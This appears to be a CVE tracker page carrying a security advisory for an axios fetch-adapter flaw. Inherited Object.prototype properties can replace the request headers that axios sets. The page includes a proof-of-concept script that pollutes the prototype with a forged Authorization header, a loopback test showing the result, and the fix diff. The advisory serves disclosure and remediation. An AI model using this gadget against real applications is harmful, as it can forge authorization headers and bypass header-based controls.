Critical Alert 1 Active Exploit Detected Today

CVE-2026-76504 — Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability →
Powered by CVE Watchtower
×

CVE Watchtower

← Back to CVE List

CVE-2026-101908NVD

Vulnerability Summary

## Summary

Axios fetch adapter requests can be altered by inherited properties on `fetchOptions`. The adapter resolves method, headers, body, signal, and credentials into `resolvedOptions`, creates a `Request`, and then calls `fetch(request, fetchOptions)` instead of `fetch(request, resolvedOptions)`. In runtimes such as Node's undici-backed fetch, inherited `fetchOptions.headers` can override the headers already placed on the `Request`.

Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.

## Impact

An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.

The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.

## Affected Functionality

Affected:

- `adapter: 'fetch'`.
- Runtime environments where the fetch adapter is selected.
- Requests where `fetchOptions` is an object that does not have safe own values for sensitive fetch init fields.

Not affected:

- Node HTTP adapter.
- Requests that do not use the fetch adapter.
- Processes where `Object.prototype` is not polluted.

## Technical Details

`lib/adapters/fetch.js` builds:

```js
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};

request = isRequestSupported && new Request(url, resolvedOptions);

let response = await (isRequestSupported
? _fetch(request, fetchOptions)
: _fetch(url, resolvedOptions));
```

The fallback path without `Request` uses `resolvedOptions`, but the `Request` path passes the original `fetchOptions` as the second argument to `fetch()`. That second argument can contain inherited properties from `Object.prototype`.

Local verification on axios `1.18.1` set `Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }` and called the fetch adapter with `headers: { 'X-Good': 'yes' }, fetchOptions: {}`. The loopback server received `Authorization: Bearer POLLUTED` and did not receive `X-Good`.

## Proof of Concept of Attack

Constrained local demonstration:

```js
Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };
try {
await axios.get(url, {
adapter: 'fetch',
headers: { 'X-Good': 'yes' },
fetchOptions: {}
});
} finally {
delete Object.prototype.headers;
}
```

Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.

## Workarounds

Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty `fetchOptions` objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.

<details>
<summary><h3>Original report</h3></summary>

Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.

I was testing the fetch adapter with polluted prototype values and found that `Object.prototype.headers` can change the request axios sends.

The issue seems to be in `lib/adapters/fetch.js`. Axios creates a `Request` with the resolved headers/method/body, but then sends it with `fetch(request, fetchOptions)`. With undici, if `fetchOptions` doesn’t have its own headers, an inherited `Object.prototype.headers` value can be used during the final fetch call.

I tested it with this:

```js
import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
xGood: req.headers['x-good'] || null
}));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

Object.prototype.headers = {
Authorization: 'Bearer POLLUTED'
};

try {
const res = await axios.get(`http://127.0.0.1:${port}/`, {
adapter: 'fetch',
headers: { 'X-Good': 'yes' },
fetchOptions: {}
});

console.log(res.data);
} finally {
delete Object.prototype.headers;
server.close();
}
```

The result I get is:

```json
{
"authorization": "Bearer POLLUTED",
"xGood": null
}
```

So the polluted Authorization header is sent, and the normal axios header is not.

Changing the fetch call to pass the already resolved options fixes it for me:

```diff
- _fetch(request, fetchOptions)
+ _fetch(request, resolvedOptions)
```

`resolvedOptions` already includes `...fetchOptions`, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.
</details>

---
Severity Level
MEDIUM
Published Date
Sep 28, 2026
Last Modified
Sep 30, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Published
EPSS Score (30-Day)
0.41%Probability
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v4.0 Base Metrics — Score 6.9
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)None
Integrity (Vulnerable System)None
Availability (Vulnerable System)None
Confidentiality (Subsequent System)Low
Integrity (Subsequent System)High
Availability (Subsequent System)None

Affected & Patched Versions

Affected Versions
  • axios >= 1.7.0, < 1.20.0
Patched Versions
Not provided by Private for this CVE.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.